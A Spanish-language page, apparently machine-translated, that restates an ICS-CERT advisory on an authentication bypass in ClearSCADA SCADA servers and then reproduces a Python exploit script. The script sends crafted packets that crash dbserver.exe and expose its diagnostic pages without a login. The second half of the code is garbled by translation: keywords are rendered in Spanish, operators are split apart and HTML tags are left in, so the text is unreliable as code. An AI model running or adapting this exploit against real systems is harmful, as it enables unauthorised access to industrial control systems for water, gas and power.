ClearSCADA – Bypass de autenticación remota Exploit (ALERTA DE SEGURIDAD EN SCADA)

Visión de conjunto

 

ICS-CERT originalmente lanzado Asesor ICSA-11-173-01P “ClearSCADA autenticación remota Bypass”, en el Portal de US-CERT, el 22 de junio de 2011. Esta banda de liberación página se retrasó para permitir a los usuarios tiempo suficiente para descargar e instalar esta actualización.

Investigador de seguridad independiente Jeremy Brown ha identificado una vulnerabilidad de bypass de autenticación en la aplicación de Control Microsystems ClearSCADA. Control Microsystems ha producido una nueva versión que soluciona esta vulnerabilidad. ICS-CERT ha probado la nueva versión para validar que se haya fijado.

 

 

Productos afectados

 

Las siguientes versiones ClearSCADA se ven afectados:

  • ClearSCADA 2010 R1.0
  • ClearSCADA 2009
  • ClearSCADA 2007
  • ClearSCADA 2005

Este Asesor se aplica a todas las versiones de SCX (de Serck Reino Unido o Serck Aus) que tengan más de los siguientes (estas versiones SCX contienen ClearSCADA en el paquete):

  • SCX Versión 67 R4.5
  • SCX Versión 68 R3.9

 

Impacto

Una explotación exitosa de esta vulnerabilidad permite a un atacante acceder a información de diagnóstico sin la debida autenticación.

 

 

Fondo

Control Microsystems, una empresa de Schneider Electric, es un proveedor global de productos de hardware y software SCADA. 1 Los productos de la compañía se utilizan en el agua y las aguas residuales de automatización, el gas natural y la producción de petróleo crudo y de automatización de tubería, 2 y automatización de subestaciones y aplicaciones de potencia.

ClearSCADA es una plataforma de servidor SCADA integrado que incluye un motor de votación, la base de datos en tiempo real, historiador, servidor web, procesador de alarmas, y un paquete de información. La función de las aplicaciones cliente como la interfaz hombre-máquina. 3   Mientras ClearSCADA está optimizado para su uso con dispositivos de campo de Control Microsystems SCADAPack, se ha incorporado en los controladores para la mayoría de los principales controladores de otros fabricantes.

Serck Reino Unido y Serck AUS venden un paquete llamado SCX que incluye ClearSCADA.

 

Caracterización de la vulnerabilidad

 

Descripción general de la vulnerabilidad

ClearSCADA ofrece una interfaz web para conexiones remotas. Cuando se produce una excepción en el archivo dbserver.exe durante el proceso de autenticación, ClearSCADA entra en el “modo seguro” de la operación. Esto expone sus funciones de diagnóstico a los usuarios remotos sin necesidad de un inicio de sesión válido.

 

 

 

Detalles de la vulnerabilidad

 

Explotabilidad

Esta vulnerabilidad podría permitir a un atacante remoto para ver la información sensible y posiblemente modificar las funciones del servidor que ejecuta en el host afectado.

 

Existencia de Exploit

No se conocen públicamente exploits disponibles de existir para esta vulnerabilidad.

 

Dificultad

Un intruso con conocimientos de nivel intermedio podría desarrollar código para aprovechar esta vulnerabilidad.

 

Mitigación

 

Control Microsystems ha corregido esta vulnerabilidad en su versión de mantenimiento regular.

De Control Microsystems recomienda lo siguiente a todos los usuarios de ClearSCADA:

  • Limite servidor y acceso a la red del servidor para redes y los usuarios sólo confianza.
  • Desactivar los inicios de sesión en ClearSCADA puertos no seguros. Esta configuración se puede encontrar en Configuración del sistema -> WebX en la ventana de configuración del servidor.
  • Instalar un certificado de seguridad WebX de una autoridad de confianza.
  • Actualice el servidor ClearSCADA a ClearSCADA 2010 R1.1 o más reciente. ClearSCADA 2009 y anteriores no será parcheado.

Póngase en contacto con el representante Regional Sales Manager o Control Microsystems para obtener información adicional. Los usuarios también pueden ponerse en contacto con la fábrica directamente al 1-888-267-2232.

ICS-CERT recomienda a los propietarios de activos para minimizar la exposición a la red para todos los dispositivos del sistema de control. Dispositivos críticos no deben enfrentar directamente a Internet. Localiza redes de sistemas de control y dispositivos remotos detrás de cortafuegos y aislarlos de la red empresarial. Cuando se requiere acceso remoto, utilice métodos seguros como redes privadas virtuales (VPNs), reconociendo que VPN es tan segura como los dispositivos conectados.

Organizaciones de observación de cualquier actividad maliciosa sospecha deben seguir sus procedimientos internos establecidos y reportar sus hallazgos a ICS-CERT para el seguimiento y la correlación contra otros incidentes. ICS-CERT recuerda organizaciones para llevar a cabo análisis de impacto adecuado y la evaluación de riesgos antes de tomar medidas defensivas.

CÓDIGO FUENTE XPLOIT QUE  YA FUE LIBERADO.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

——-  –

#!/usr/bin/python<font></font>

# cs-auby.py<font></font>

# ClearSCADA Remote Authentication Bypass Exploit<font></font>

#<font></font>

# Jeremy Brown<font></font>

# [jbrown3264/gmail]<font></font>

#<font></font>

# Oct 2010 (released Jan 2015)<font></font>

#<font></font>

# There is an authentication bypass vulnerability in ClearSCADA that can be<font></font>

# exploited by triggering an exception in dbserver.exe and taking advantage<font></font>

# of the way the program handles it.<font></font>

#<font></font>

# When an exception in occurs, ClearSCADA enters “Safe Mode”. This exposes<font></font>

# it’s diagnostic functions to remote users without requiring a valid login<font></font>

# as it would normally. A remote attacker could view senstive information<font></font>

# and possibly modify functions of the server running on the affected host.<font></font>

#<font></font>

# This code triggers an exception in dbserver.exe and checks to see if you<font></font>

# can then access the diagnostic page without authentication.<font></font>

#<font></font>

# Tested on ClearSCADA 2010R1 running on Windows<font></font>

#<font></font>

# Fix information: http://ics-cert.us-cert.gov/advisories/ICSA-11-173-01<font></font>

#<font></font>

<font></font>

import sys<font></font>

import socket<font></font>

import httplib<font></font>

import urllib<font></font>

from time import sleep<font></font>

<font></font>

pkt_1=(<font></font>

“\xfb\x0e\x45\x06\x0e\x00\x00\x00\x18\x00\x00\x00″<font></font>

“\x49\x00\x50\x00\x20\x00\x31\x00\x32\x00\x37\x00\x2e\x00\x30\x00″<font></font>

“\x2e\x00\x30\x00\x2e\x00\x31\x00\x2c\x00\x20\x00\x53\x00\x65\x00″<font></font>

“\x73\x00\x73\x00\x69\x00\x6f\x00\x6e\x00\x20\x00\x30\x00\x00\x00″<font></font>

“\x08\x00\x00\x00″<font></font>

)<font></font>

<font></font>

pkt_2=(<font></font>

“\x00\x00\x00\x00″<font></font>

“\x26\x00\x00\x00″<font></font>

“\x08\x00\x00\x00\x0f\x00\x00\x00\x43\x00\x72\x00\x79\x00\x73\x00″<font></font>

“\x74\x00\x61\x00\x6c\x00\x52\x00\x65\x00\x70\x00\x6f\x00\x72\x00″<font></font>

“\x74\x00\x73\x00\x00\x00″<font></font>

)<font></font>

<font></font>

pkt_3=( # “Exception Occured”<font></font>

“\x00\x00\x00\x00\xd7\x01\x00\x00\x34\x00\x00\x00\x0d\x00\x00\x00″<font></font>

“\x09\x00\x00\x00\x43\x00\x50\x00\x72\x00\x6f\x00\x66\x00\x69\x00″<font></font>

“\x6c\x00\x65\x00\x00\x00\x0e\x00\x00\x00\x43\x00\x50\x00\x72\x00″<font></font>

“\x6f\x00\x66\x00\x69\x00\x6c\x00\x65\x00\x46\x00\x6c\x00\x6f\x00″<font></font>

“\x61\x00\x74\x00\x00\x00\x0e\x00\x00\x00\x43\x00\x50\x00\x72\x00″<font></font>

“\x6f\x00\x66\x00\x69\x00\x6c\x00\x65\x00\x55\x00\x4c\x00\x6f\x00″<font></font>

“\x6e\x00\x67\x00\x00\x00\x0d\x00\x00\x00\x43\x00\x50\x00\x72\x00″<font></font>

“\x6f\x00\x66\x00\x69\x00\x6c\x00\x65\x00\x4c\x00\x6f\x00\x6e\x00″<font></font>

“\x67\x00\x00\x00\x10\x00\x00\x00\x43\x00\x41\x00\x64\x00\xBB\x00” # last w0rd<font></font>

“\x00\x42\x00\x49\x00\x54\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65″<font></font>

“\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x11\x00\x00\x00\x43\x00\x41″<font></font>

“\x00\x64\x00\x76\x00\x42\x00\x59\x00\x54\x00\x45\x00\x56\x00\x61″<font></font>

“\x00\x6c\x00\x75\x00\x65\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x11″<font></font>

“\x00\x00\x00\x43\x00\x41\x00\x64\x00\x76\x00\x57\x00\x4f\x00\x52″<font></font>

“\x00\x44\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65\x00\x4d\x00\x61″<font></font>

“\x00\x70\x00\x00\x00\x11\x00\x00\x00\x43\x00\x41\x00\x64\x00\x76″<font></font>

“\x00\x44\x00\x49\x00\x4e\x00\x54\x00\x56\x00\x61\x00\x6c\x00\x75″<font></font>

“\x00\x65\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x12\x00\x00\x00\x43″<font></font>

“\x00\x41\x00\x64\x00\x76\x00\x55\x00\x44\x00\x49\x00\x4e\x00\x54″<font></font>

“\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65\x00\x4d\x00\x61\x00\x70″<font></font>

“\x00\x00\x00\x11\x00\x00\x00\x43\x00\x41\x00\x64\x00\x76\x00\x52″<font></font>

“\x00\x45\x00\x41\x00\x4c\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65″<font></font>

“\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x13\x00\x00\x00\x43\x00\x41″<font></font>

“\x00\x64\x00\x76\x00\x44\x00\x4f\x00\x55\x00\x42\x00\x4c\x00\x45″<font></font>

“\x00\x56\x00\x61\x00\x6c\x00\x75\x00\x65\x00\x4d\x00\x61\x00\x70″<font></font>

“\x00\x00\x00\x13\x00\x00\x00\x43\x00\x41\x00\x64\x00\x76\x00\x53″<font></font>

“\x00\x74\x00\x72\x00\x69\x00\x6e\x00\x67\x00\x56\x00\x61\x00\x6c”<font></font>

“\x00\x75\x00\x65\x00\x4d\x00\x61\x00\x70\x00\x00\x00\x0f\x00\x00″<font></font>

“\x00\x43\x00\x43\x00\x72\x00\x79\x00\x73\x00\x74\x00\x61\x00\x6c”<font></font>

“\x00\x52\x00\x65\x00\x70\x00\x6f\x00\x72\x00\x74\x00\x00\x00\x00″<font></font>

)<font></font>

<font></font>

port=5481<font></font>

s_port=443<font></font>

<font></font>

<font></font>

def do_ssl(target,port):<font></font>

try:<font></font>

conn = httplib.HTTPSConnection(target,port)<font></font>

conn._http_vsn = 10<font></font>

conn._http_vsn_str = “HTTP/1.0″<font></font>

<font></font>

conn.request(“GET”,”/diag/Info”)<font></font>

<font></font>

resp = conn.getresponse()<font></font>

conn.close()<font></font>

<font></font>

except Exception, error:<font></font>

print(“Error: %s” % error)<font></font>

return None<font></font>

<font></font>

return resp<font></font>

<font></font>

<font></font>

def main():<font></font>

<font></font>

if len(sys.argv)!=2:<font></font>

print(“Usage: %s <target>” % sys.argv[0])<font></font>

sys.exit(0)<font></font>

<font></font>

target=sys.argv[1]<font></font>

cs=target,port<font></font>

<font></font>

print “Checking server status…”<font></font>

<font></font>

resp = do_ssl(target,s_port)<font></font>

<font></font>

if(resp == None):<font></font>

return<font></font>

<font></font>

if(resp.status==301):<font></font>

print “Server status is normal.\n”<font></font>

<font></font>

elif (resp.status = = 200 ): <font> < / font>

print “El servidor ya está en modo seguro.” <font> < / font>

sys.exit ( 1 ) <font> < / font>

<font></font>

elif ((resp.status! = 301 ) | (resp.status! = 200 )): <font> < / font>

print ( “El servidor ha devuelto% d% s, el estado del servidor desconocido. \ nContinuing de todos modos .. \ n” % (resp.status, resp.reason)) <font> < / font>

<font></font>

print ( “Envío de paquetes para desencadenar una excepción … \ n” ) <font> < / font>

<font></font>

try:<font></font>

calcetín = socket.socket (socket.AF_INET, socket.SOCK_STREAM) <font> < / font>

sock.connect (cs) <font> < / font>

<font></font>

sock.send (pkt_1) <font> < / font>

resp_1 = sock.recv ( 32 ) <font> < / font>

<font></font>

sock.send (pkt_2) <font> < / font>

resp_2 = sock.recv ( 32 ) <font> < / font>

<font></font>

sock.send (pkt_3) <font> < / font>

resp_3 = sock.recv ( 32 ) <font> < / font>

<font></font>

sock.close () <font> < / font>

<font></font>

except Exception, error:<font></font>

print(“Error: %s” % error)<font></font>

return None<font></font>

<font></font>

print ( “Terminado, comprobando el estado del servidor de nuevo …” ) <font> < / font>

<font></font>

sueño ( 1 ) <font> < / font>

<font></font>

resp = do_ssl(target,s_port)<font></font>

<font></font>

if(resp == None):<font></font>

return<font></font>

<font></font>

if(resp.status==301):<font></font>

print ( “Estado del servidor sigue siendo normal, tal vez es un parche .. \ n” ) <font> < / font>

<font></font>

elif (resp.status = = 200 ): <font> < / font>

print ( “Servidor entró \” “modo: \ n segura \)” ) <font> < / font>

print ( “Surf de más a https: //% s: 443 / diag / Información para explorar” % objetivo) <font> < / font>

<font></font>

elif ((resp.status! = 301 ) | (resp.status! = 200 )): <font> < / font>

print ( “El servidor ha devuelto% d% s, estado desconocido servidor.” % (resp.status, resp.reason)) <font> < / font>

<font></font>

<font></font>

si __name__ = = “__main__” : <font> < / font>

main () <font> < / font>

 

Leave a Comment